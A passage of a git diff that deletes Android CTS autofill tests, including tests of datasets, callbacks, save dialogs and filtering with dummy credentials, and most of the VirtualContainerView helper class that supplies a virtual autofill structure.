-                throw e;
-            }
-        }
-
-        // Make sure initial focus was properly set.
-        assertWithMessage("Username node is not focused").that(username.isFocused()).isTrue();
-        assertWithMessage("Password node is focused").that(password.isFocused()).isFalse();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("DUDE");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillSync() is enough")
-    public void testAutofillTwoDatasets() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "DUDE")
-                        .setField(ID_PASSWORD, "SWEET")
-                        .setPresentation(createPresentation("THE DUDE"))
-                        .build())
-                .build());
-        mActivity.expectAutoFill("DUDE", "SWEET");
-
-        // Trigger auto-fill.
-        focusToUsername();
-        sReplier.getNextFillRequest();
-        assertDatasetShown(mActivity.mUsername, "The Dude", "THE DUDE");
-
-        // Play around with focus to make sure picker is properly drawn.
-        if (BUG_74256300_FIXED || !mCompatMode) {
-            focusToPassword();
-            assertDatasetShown(mActivity.mPassword, "The Dude", "THE DUDE");
-            focusToUsername();
-            assertDatasetShown(mActivity.mUsername, "The Dude", "THE DUDE");
-        }
-
-        // Auto-fill it.
-        mUiBot.selectDataset("THE DUDE");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofillOverrideDispatchProvideAutofillStructure() throws Exception {
-        mActivity.mCustomView.setOverrideDispatchProvideAutofillStructure(true);
-        autofillTest(true);
-    }
-
-    @Test
-    public void testAutofillManuallyOneDataset() throws Exception {
-        skipTestOnCompatMode(); // TODO(b/73557072): not supported yet
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        mActivity.requestAutofill(mActivity.mUsername);
-        sReplier.getNextFillRequest();
-
-        // Select datatest.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyTwoDatasetsPickFirst() throws Exception {
-        autofillManuallyTwoDatasets(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyTwoDatasetsPickSecond() throws Exception {
-        autofillManuallyTwoDatasets(false);
-    }
-
-    private void autofillManuallyTwoDatasets(boolean pickFirst) throws Exception {
-        skipTestOnCompatMode(); // TODO(b/73557072): not supported yet
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "jenny")
-                        .setField(ID_PASSWORD, "8675309")
-                        .setPresentation(createPresentation("Jenny"))
-                        .build())
-                .build());
-        if (pickFirst) {
-            mActivity.expectAutoFill("dude", "sweet");
-        } else {
-            mActivity.expectAutoFill("jenny", "8675309");
-
-        }
-
-        // Trigger auto-fill.
-        mActivity.getSystemService(AutofillManager.class).requestAutofill(
-                mActivity.mCustomView, mActivity.mUsername.text.id,
-                mActivity.mUsername.getAbsCoordinates());
-        sReplier.getNextFillRequest();
-
-        // Auto-fill it.
-        final UiObject2 picker = assertDatasetShown(mActivity.mUsername, "The Dude", "Jenny");
-        mUiBot.selectDataset(picker, pickFirst ? "The Dude" : "Jenny");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testAutofillCallbacks() throws Exception {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        focusToUsername();
-        sReplier.getNextFillRequest();
-
-        callback.assertUiShownEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
-
-        // Change focus
-        focusToPassword();
-        callback.assertUiHiddenEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
-        callback.assertUiShownEvent(mActivity.mCustomView, mActivity.mPassword.text.id);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillCallbacks() is enough")
-    public void testAutofillCallbackDisabled() throws Throwable {
-        // Set service.
-        disableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-
-        // Assert callback was called
-        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillCallbacks() is enough")
-    public void testAutofillCallbackNoDatasets() throws Throwable {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-
-        // Trigger autofill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Auto-fill it.
-        mUiBot.assertNoDatasetsEver();
-
-        // Assert callback was called
-        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillCallbacks() is enough")
-    public void testAutofillCallbackNoDatasetsButSaveInfo() throws Throwable {
-        // Set service.
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger autofill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Autofill it.
-        mUiBot.assertNoDatasetsEver();
-
-        // Assert callback was called
-        callback.assertUiUnavailableEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
-
-        // Make sure save is not triggered
-        mActivity.getAutofillManager().commit();
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    public void testSaveDialogNotShownWhenBackIsPressed() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        focusToUsername();
-        sReplier.getNextFillRequest();
-        assertDatasetShown(mActivity.mUsername, "The Dude");
-
-        mUiBot.pressBack();
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    public void testSave_childViewsGone_notifyAfm() throws Throwable {
-        saveTest(CommitType.CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API);
-    }
-
-    @Test
-    public void testSave_childViewsGone_updateView() throws Throwable {
-        saveTest(CommitType.CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API);
-    }
-
-    @Test
-    @Ignore("Disabled until b/73493342 is fixed")
-    public void testSave_parentViewGone() throws Throwable {
-        saveTest(CommitType.PARENT_VIEW_GONE);
-    }
-
-    @Test
-    public void testSave_appCallsCommit() throws Throwable {
-        saveTest(CommitType.EXPLICIT_COMMIT);
-    }
-
-    @Test
-    public void testSave_submitButtonClicked() throws Throwable {
-        saveTest(CommitType.SUBMIT_BUTTON_CLICKED);
-    }
-
-    enum CommitType {
-        CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API,
-        CHILDREN_VIEWS_GONE_IS_VISIBLE_API,
-        PARENT_VIEW_GONE,
-        EXPLICIT_COMMIT,
-        SUBMIT_BUTTON_CLICKED
-    }
-
-    private void saveTest(CommitType commitType) throws Throwable {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
-
-        switch (commitType) {
-            case CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API:
-            case CHILDREN_VIEWS_GONE_IS_VISIBLE_API:
-            case PARENT_VIEW_GONE:
-                response.setSaveInfoFlags(SaveInfo.FLAG_SAVE_ON_ALL_VIEWS_INVISIBLE);
-                break;
-            case EXPLICIT_COMMIT:
-                // does nothing
-                break;
-            case SUBMIT_BUTTON_CLICKED:
-                response
-                    .setSaveInfoFlags(SaveInfo.FLAG_DONT_SAVE_ON_FINISH)
-                    .setSaveTriggerId(mActivity.mCustomView.mLoginButtonId);
-                break;
-            default:
-                throw new IllegalArgumentException("invalid type: " + commitType);
-        }
-        sReplier.addResponse(response.build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Fill in some stuff
-        mActivity.mUsername.setText("foo");
-        focusToPasswordExpectNoWindowEvent();
-        mActivity.mPassword.setText("bar");
-
-        // Trigger save.
-        switch (commitType) {
-            case CHILDREN_VIEWS_GONE_NOTIFY_CALLBACK_API:
-                setViewsInvisible(VisibilityIntegrationMode.NOTIFY_AFM);
-                break;
-            case CHILDREN_VIEWS_GONE_IS_VISIBLE_API:
-                setViewsInvisible(VisibilityIntegrationMode.OVERRIDE_IS_VISIBLE_TO_USER);
-                break;
-            case PARENT_VIEW_GONE:
-                mActivity.runOnUiThread(() -> {
-                    final ViewGroup parent = (ViewGroup) mActivity.mCustomView.getParent();
-                    parent.removeView(mActivity.mCustomView);
-                });
-                break;
-            case EXPLICIT_COMMIT:
-                mActivity.getAutofillManager().commit();
-                break;
-            case SUBMIT_BUTTON_CLICKED:
-                mActivity.mCustomView.clickLogin();
-                break;
-            default:
-                throw new IllegalArgumentException("unknown type: " + commitType);
-        }
-
-        // Assert UI is showing.
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-
-        assertTextAndValue(username, "foo");
-        assertTextAndValue(password, "bar");
-    }
-
-    protected void setViewsInvisible(VisibilityIntegrationMode mode) {
-        mActivity.mUsername.setVisibilityIntegrationMode(mode);
-        mActivity.mPassword.setVisibilityIntegrationMode(mode);
-        mActivity.mUsername.changeVisibility(false);
-        mActivity.mPassword.changeVisibility(false);
-    }
-
-    // NOTE: tests where save is not shown only makes sense when calling commit() explicitly,
-    // otherwise the test could pass but the UI is still shown *after* the app is committed.
-    // We could still test them by explicitly committing and then checking that the Save UI is not
-    // shown again, but then we wouldn't be effectively testing that the context was committed
-
-    @Test
-    public void testSaveNotShown_noUserInput() throws Throwable {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.getAutofillManager().commit();
-
-        // Assert it's not showing.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSaveNotShown_noUserInput() is enough")
-    public void testSaveNotShown_initialValues_noUserInput() throws Throwable {
-        // Prepare activitiy.
-        mActivity.mUsername.setText("foo");
-        mActivity.mPassword.setText("bar");
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.getAutofillManager().commit();
-
-        // Assert it's not showing.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSaveNotShown_noUserInput() is enough")
-    public void testSaveNotShown_initialValues_noUserInput_serviceDatasets() throws Throwable {
-        // Prepare activitiy.
-        mActivity.mUsername.setText("foo");
-        mActivity.mPassword.setText("bar");
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-        assertDatasetShown(mActivity.mUsername, "The Dude");
-
-        // Trigger save.
-        mActivity.getAutofillManager().commit();
-
-        // Assert it's not showing.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSaveNotShown_noUserInput() is enough")
-    public void testSaveNotShown_userInputMatchesDatasets() throws Throwable {
-        // Prepare activitiy.
-        mActivity.mUsername.setText("foo");
-        mActivity.mPassword.setText("bar");
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "foo")
-                        .setField(ID_PASSWORD, "bar")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-        assertDatasetShown(mActivity.mUsername, "The Dude");
-
-        // Trigger save.
-        mActivity.getAutofillManager().commit();
-
-        // Assert it's not showing.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    public void testDatasetFiltering() throws Throwable {
-        final String aa = "Two A's";
-        final String ab = "A and B";
-        final String b = "Only B";
-
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "aa")
-                        .setPresentation(createPresentation(aa))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "ab")
-                        .setPresentation(createPresentation(ab))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "b")
-                        .setPresentation(createPresentation(b))
-                        .build())
-                .build());
-
-        // Trigger auto-fill.
-        focusToUsernameExpectNoWindowEvent();
-        sReplier.getNextFillRequest();
-
-        // With no filter text all datasets should be shown
-        assertDatasetShown(mActivity.mUsername, aa, ab, b);
-
-        // Only two datasets start with 'a'
-        mActivity.mUsername.setText("a");
-        assertDatasetShown(mActivity.mUsername, aa, ab);
-
-        // Only one dataset start with 'aa'
-        mActivity.mUsername.setText("aa");
-        assertDatasetShown(mActivity.mUsername, aa);
-
-        // Only two datasets start with 'a'
-        mActivity.mUsername.setText("a");
-        assertDatasetShown(mActivity.mUsername, aa, ab);
-
-        // With no filter text all datasets should be shown
-        mActivity.mUsername.setText("");
-        assertDatasetShown(mActivity.mUsername, aa, ab, b);
-
-        // No dataset start with 'aaa'
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        mActivity.mUsername.setText("aaa");
-        callback.assertUiHiddenEvent(mActivity.mCustomView, mActivity.mUsername.text.id);
-        mUiBot.assertNoDatasets();
-    }
-
-    /**
-     * Asserts the dataset picker is properly displayed in a give line.
-     */
-    protected UiObject2 assertDatasetShown(Line line, String... expectedDatasets)
-            throws Exception {
-        boolean autofillViewBoundsMatches = !Helper.isAutofillWindowFullScreen(mContext);
-        final UiObject2 datasetPicker = mUiBot.assertDatasets(expectedDatasets);
-        final Rect pickerBounds = datasetPicker.getVisibleBounds();
-        final Rect fieldBounds = line.getAbsCoordinates();
-        if (autofillViewBoundsMatches) {
-            assertWithMessage("vertical coordinates don't match; picker=%s, field=%s", pickerBounds,
-                    fieldBounds).that(pickerBounds.top).isEqualTo(fieldBounds.bottom);
-            assertWithMessage("horizontal coordinates don't match; picker=%s, field=%s",
-                    pickerBounds, fieldBounds).that(pickerBounds.left).isEqualTo(fieldBounds.left);
-        }
-        return datasetPicker;
-    }
-
-    protected void assertLabel(ViewNode node, String expectedValue) {
-        if (mCompatMode) {
-            // Compat mode doesn't set AutofillValue of non-editable fields
-            assertTextOnly(node, expectedValue);
-        } else {
-            assertTextAndValue(node, expectedValue);
-        }
-    }
-
-    protected void assertUrlBarIsSanitized(ViewNode urlBar) {
-        assertTextIsSanitized(urlBar);
-        assertThat(urlBar.getWebDomain()).isNull();
-        assertThat(urlBar.getWebScheme()).isNull();
-    }
-
-
-    private void skipTestOnCompatMode() {
-        assumeTrue("test not applicable when on compat mode", !mCompatMode);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
deleted file mode 100644
index 6634ec0..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ /dev/null
@@ -1,604 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.Timeouts.FILL_TIMEOUT;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.content.Context;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Paint;
-import android.graphics.Paint.Style;
-import android.graphics.Rect;
-import android.os.Bundle;
-import android.text.Editable;
-import android.text.TextUtils;
-import android.text.TextWatcher;
-import android.util.AttributeSet;
-import android.util.DisplayMetrics;
-import android.util.Log;
-import android.util.Pair;
-import android.util.SparseArray;
-import android.view.MotionEvent;
-import android.view.View;
-import android.view.ViewStructure;
-import android.view.ViewStructure.HtmlInfo;
-import android.view.WindowManager;
-import android.view.accessibility.AccessibilityEvent;
-import android.view.accessibility.AccessibilityManager;
-import android.view.accessibility.AccessibilityNodeInfo;
-import android.view.accessibility.AccessibilityNodeProvider;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillManager;
-import android.view.autofill.AutofillValue;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-class VirtualContainerView extends View {
-
-    private static final String TAG = "VirtualContainerView";
-    private static final int LOGIN_BUTTON_VIRTUAL_ID = 666;
-
-    static final String LABEL_CLASS = "my.readonly.view";
-    static final String TEXT_CLASS = "my.editable.view";
-    static final String ID_URL_BAR = "my_url_bar";
-    static final String ID_URL_BAR2 = "my_url_bar2";
-
-    private final ArrayList<Line> mLines = new ArrayList<>();
-    private final SparseArray<Item> mItems = new SparseArray<>();
-    private AutofillManager mAfm;
-    final AutofillId mLoginButtonId;
-
-    private Line mFocusedLine;
-    private int mNextChildId;
-
-    private Paint mTextPaint;
-    private int mTextHeight;
-    private int mTopMargin;
-    private int mLeftMargin;
-    private int mVerticalGap;
-    private int mLineLength;
-    private int mFocusedColor;
-    private int mUnfocusedColor;
-    private boolean mSync = true;
-    private boolean mOverrideDispatchProvideAutofillStructure = false;
-
-    private boolean mCompatMode = false;
-    private AccessibilityDelegate mAccessibilityDelegate;
-    private AccessibilityNodeProvider mAccessibilityNodeProvider;
-
-    /**
-     * Enum defining how the view communicate visibility changes to the framework
-     */
-    enum VisibilityIntegrationMode {
-        NOTIFY_AFM,
-        OVERRIDE_IS_VISIBLE_TO_USER
-    }
-
-    private VisibilityIntegrationMode mVisibilityIntegrationMode;
-
-    public VirtualContainerView(Context context, AttributeSet attrs) {
-        super(context, attrs);
-
-        setAutofillManager(context);
-
-        mTextPaint = new Paint();
-
-        mUnfocusedColor = Color.BLACK;
-        mFocusedColor = Color.RED;
-        mTextPaint.setStyle(Style.FILL);
-        DisplayMetrics metrics = new DisplayMetrics();
-        WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
-        wm.getDefaultDisplay().getMetrics(metrics);
-        mTopMargin = metrics.heightPixels * 3 / 100;
-        mLeftMargin = metrics.widthPixels * 3 / 100;
-        mTextHeight = metrics.widthPixels * 3 / 100; // adjust text size with display width
-        mVerticalGap = metrics.heightPixels / 100;
-
-        mLineLength = mTextHeight + mVerticalGap;
-        mTextPaint.setTextSize(mTextHeight);
-        Log.d(TAG, "Text height: " + mTextHeight);
-        mLoginButtonId = new AutofillId(getAutofillId(), LOGIN_BUTTON_VIRTUAL_ID);
-    }
-
-    public void setAutofillManager(Context context) {
-        mAfm = context.getSystemService(AutofillManager.class);
-        Log.d(TAG, "Set AFM from " + context);
-    }
-
-    @Override
-    public void autofill(SparseArray<AutofillValue> values) {
-        Log.d(TAG, "autofill: " + values);
-        if (mCompatMode) {
-            Log.v(TAG, "using super.autofill() on compat mode");
-            super.autofill(values);
-            return;
-        }
-        for (int i = 0; i < values.size(); i++) {
-            final int id = values.keyAt(i);
-            final AutofillValue value = values.valueAt(i);
-            final Item item = getItem(id);
-            item.autofill(value.getTextValue());
-        }
-        postInvalidate();
-    }
-
-    @Override
-    protected void onDraw(Canvas canvas) {
-        super.onDraw(canvas);
-
-        Log.d(TAG, "onDraw: " + mLines.size() + " lines; canvas:" + canvas);
-        float x;
-        float y = mTopMargin + mLineLength;
-        for (int i = 0; i < mLines.size(); i++) {
-            x = mLeftMargin;
-            final Line line = mLines.get(i);
-            if (!line.visible) {
-                continue;
-            }
-            Log.v(TAG, "Drawing '" + line + "' at " + x + "x" + y);
-            mTextPaint.setColor(line.focused ? mFocusedColor : mUnfocusedColor);
-            final String readOnlyText = line.label.text + ":  [";
-            final String writeText = line.text.text + "]";
-            // Paints the label first...
-            canvas.drawText(readOnlyText, x, y, mTextPaint);
-            // ...then paints the edit text and sets the proper boundary
-            final float deltaX = mTextPaint.measureText(readOnlyText);
-            x += deltaX;
-            line.bounds.set((int) x, (int) (y - mLineLength),
-                    (int) (x + mTextPaint.measureText(writeText)), (int) y);
-            Log.d(TAG, "setBounds(" + x + ", " + y + "): " + line.bounds);
-            canvas.drawText(writeText, x, y, mTextPaint);
-            y += mLineLength;
-        }
-    }
-
-    @Override
-    public boolean onTouchEvent(MotionEvent event) {
-        final int y = (int) event.getY();
-        Log.d(TAG, "You can touch this: y=" + y + ", range=" + mLineLength + ", top=" + mTopMargin);
-        int lowerY = mTopMargin;
-        int upperY = -1;
-        for (int i = 0; i < mLines.size(); i++) {
-            upperY = lowerY + mLineLength;
-            final Line line = mLines.get(i);
-            Log.d(TAG, "Line " + i + " ranges from " + lowerY + " to " + upperY);
-            if (lowerY <= y && y <= upperY) {
-                if (mFocusedLine != null) {
-                    Log.d(TAG, "Removing focus from " + mFocusedLine);
-                    mFocusedLine.changeFocus(false);
-                }
-                Log.d(TAG, "Changing focus to " + line);
-                mFocusedLine = line;
-                mFocusedLine.changeFocus(true);
-                invalidate();
-                break;
-            }
-            lowerY += mLineLength;
-        }
-        return super.onTouchEvent(event);
-    }
-
-    @Override
-    public void dispatchProvideAutofillStructure(ViewStructure structure, int flags) {
-        if (mOverrideDispatchProvideAutofillStructure) {
-            Log.d(TAG, "Overriding dispatchProvideAutofillStructure()");
-            structure.setAutofillId(getAutofillId());
-            onProvideAutofillVirtualStructure(structure, flags);
-        } else {
-            super.dispatchProvideAutofillStructure(structure, flags);
-        }
-    }
-
-    @Override
-    public void onProvideAutofillVirtualStructure(ViewStructure structure, int flags) {
-        Log.d(TAG, "onProvideAutofillVirtualStructure(): flags = " + flags);
-        super.onProvideAutofillVirtualStructure(structure, flags);
-
-        if (mCompatMode) {
-            Log.v(TAG, "using super.onProvideAutofillVirtualStructure() on compat mode");
-            return;
-        }
-
-        final String packageName = getContext().getPackageName();
-        structure.setClassName(getClass().getName());
-        final int childrenSize = mItems.size();
-        int index = structure.addChildCount(childrenSize);
-        final String syncMsg = mSync ? "" : " (async)";
-        for (int i = 0; i < childrenSize; i++) {
-            final Item item = mItems.valueAt(i);
-            Log.d(TAG, "Adding new child" + syncMsg + " at index " + index + ": " + item);
-            final ViewStructure child = mSync
-                    ? structure.newChild(index)
-                    : structure.asyncNewChild(index);
-            child.setAutofillId(structure.getAutofillId(), item.id);
-            child.setDataIsSensitive(item.sensitive);
-            if (item.editable) {
-                child.setInputType(item.line.inputType);
-            }
-            index++;
-            child.setClassName(item.className);
-            // Must set "fake" idEntry because that's what the test cases use to find nodes.
-            child.setId(1000 + index, packageName, "id", item.resourceId);
-            child.setText(item.text);
-            if (TextUtils.getTrimmedLength(item.text) > 0) {
-                // TODO: Must checked trimmed length because input fields use 8 empty spaces to
-                // set width
-                child.setAutofillValue(AutofillValue.forText(item.text));
-            }
-            child.setFocused(item.line.focused);
-            child.setHtmlInfo(child.newHtmlInfoBuilder("TAGGY")
-                    .addAttribute("a1", "v1")
-                    .addAttribute("a2", "v2")
-                    .addAttribute("a1", "v2")
-                    .build());
-            child.setAutofillHints(new String[] {"c", "a", "a", "b", "a", "a"});
-
-            if (!mSync) {
-                Log.d(TAG, "Commiting virtual child");
-                child.asyncCommit();
-            }
-        }
-    }
-
-    @Override
-    public boolean isVisibleToUserForAutofill(int virtualId) {
-        boolean callSuper = true;
-        if (mVisibilityIntegrationMode == null) {
-            Log.w(TAG, "isVisibleToUserForAutofill(): mVisibilityIntegrationMode not set");
-        } else {
-            callSuper = mVisibilityIntegrationMode == VisibilityIntegrationMode.NOTIFY_AFM;
-        }
-        final boolean isVisible;
-        if (callSuper) {
-            isVisible = super.isVisibleToUserForAutofill(virtualId);
-            Log.d(TAG, "isVisibleToUserForAutofill(" + virtualId + ") using super: " + isVisible);
-        } else {
-            final Item item = getItem(virtualId);
-            isVisible = item.line.visible;
-            Log.d(TAG, "isVisibleToUserForAutofill(" + virtualId + ") set by test: " + isVisible);
-        }
-        return isVisible;
-    }
-
-    /**
-     * Emulates clicking the login button.
-     */
-    void clickLogin() {
-        Log.d(TAG, "clickLogin()");
-        if (mCompatMode) {
-            sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_CLICKED, LOGIN_BUTTON_VIRTUAL_ID);
-        } else {
-            mAfm.notifyViewClicked(this, LOGIN_BUTTON_VIRTUAL_ID);
-        }
-    }
-
-    private Item getItem(int id) {
-        final Item item = mItems.get(id);
-        assertWithMessage("No item for id %s", id).that(item).isNotNull();
-        return item;
-    }
-
-    private AccessibilityNodeInfo onProvideAutofillCompatModeAccessibilityNodeInfo() {
-        final AccessibilityNodeInfo node = AccessibilityNodeInfo.obtain();
-
-        final String packageName = getContext().getPackageName();
-        node.setPackageName(packageName);
-        node.setClassName(getClass().getName());
-
-        final int childrenSize = mItems.size();
-        for (int i = 0; i < childrenSize; i++) {
-            final Item item = mItems.valueAt(i);
-            final int id = i + 1;
-            Log.d(TAG, "Adding new A11Y child with id " + id + ": " + item);
-
-            node.addChild(this, id);
-        }
-
-        return node;
-    }
-
-    private AccessibilityNodeInfo onProvideAutofillCompatModeAccessibilityNodeInfoForLoginButton() {
-        final AccessibilityNodeInfo node = AccessibilityNodeInfo.obtain();
-        node.setSource(this, LOGIN_BUTTON_VIRTUAL_ID);
-        node.setPackageName(getContext().getPackageName());
-        // TODO(b/37566627): ideally this button should be visible / drawn in the canvas and contain
-        // more properties like boundaries, class name, text etc...
-        return node;
-    }
-
-    static void assertHtmlInfo(ViewNode node) {
-        final String name = node.getText().toString();
-        final HtmlInfo info = node.getHtmlInfo();
-        assertWithMessage("no HTML info on %s", name).that(info).isNotNull();
-        assertWithMessage("wrong HTML tag on %s", name).that(info.getTag()).isEqualTo("TAGGY");
-        assertWithMessage("wrong attributes on %s", name).that(info.getAttributes())
-                .containsExactly(
-                        new Pair<>("a1", "v1"),
-                        new Pair<>("a2", "v2"),
-                        new Pair<>("a1", "v2"));
-    }
-
-    Line addLine(String labelId, String label, String textId, String text, int inputType) {
-        final Line line = new Line(labelId, label, textId, text, inputType);
-        Log.d(TAG, "addLine: " + line);
-        mLines.add(line);
-        mItems.put(line.label.id, line.label);
-        mItems.put(line.text.id, line.text);
-        return line;
-    }
-
